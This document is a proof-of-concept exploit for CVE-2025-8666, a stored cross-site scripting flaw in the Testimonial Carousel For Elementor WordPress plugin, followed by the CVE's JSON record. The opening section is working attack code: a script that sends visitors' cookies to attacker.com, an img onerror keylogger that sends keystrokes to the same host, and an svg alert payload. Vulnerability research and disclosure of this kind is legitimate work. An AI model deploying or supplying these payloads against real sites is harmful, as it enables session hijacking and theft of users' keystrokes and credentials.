CVE-2025-8666

<!-- CVE-2025-8666 Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in Testimonial Carousel For Elementor plugin --> <!-- Requires contributor-level access or higher --> <!-- Malicious payload to be injected via plugin parameters --> <script> // Cookie stealing payload var stolenCookies = document.cookie; // Send cookies to attacker-controlled server fetch('https://attacker.com/collect?c=' + encodeURIComponent(stolenCookies), { method: 'GET', mode: 'no-cors' }); // Session hijacking demonstration console.log('[CVE-2025-8666] Stolen cookies:', stolenCookies); </script> <!-- Alternative payload - Keylogger --> <img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com/k?"+btoa(e.key))}'> <!-- Alternative payload - DOM manipulation --> <svg/onload=alert(document.domain)>

{"cve": {"id": "CVE-2025-8666", "sourceIdentifier": "[email protected]", "published": "2025-10-25T06:15:37.220", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Testimonial Carousel For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters in versions less than, or equal to, 11.6.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/testimonials-carousel-elementor/tags/11.6.2/widgets/animated-carousel/class-testimonialscarousel-coverflow.php#L1425", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/testimonials-carousel-elementor/tags/11.6.2/widgets/animated-carousel/class-testimonialscarousel-coverflow.php#L1443", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/testimonials-carousel-elementor/tags/11.6.2/widgets/animated-carousel/class-testimonialscarousel-cube.php#L913", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/testimonials-carousel-elementor/tags/11.6.2/widgets/section-with-carousel/class-section-with-cube.php#L1167", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/testimonials-carousel-elementor/tags/11.6.2/widgets/testimonials-carousel/class-testimonialscarousel-blog.php#L1192", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1f5c3b2c-1ed2-47e1-8e39-cbe6f2973d15?source=cve", "source": "[email protected]"}]}}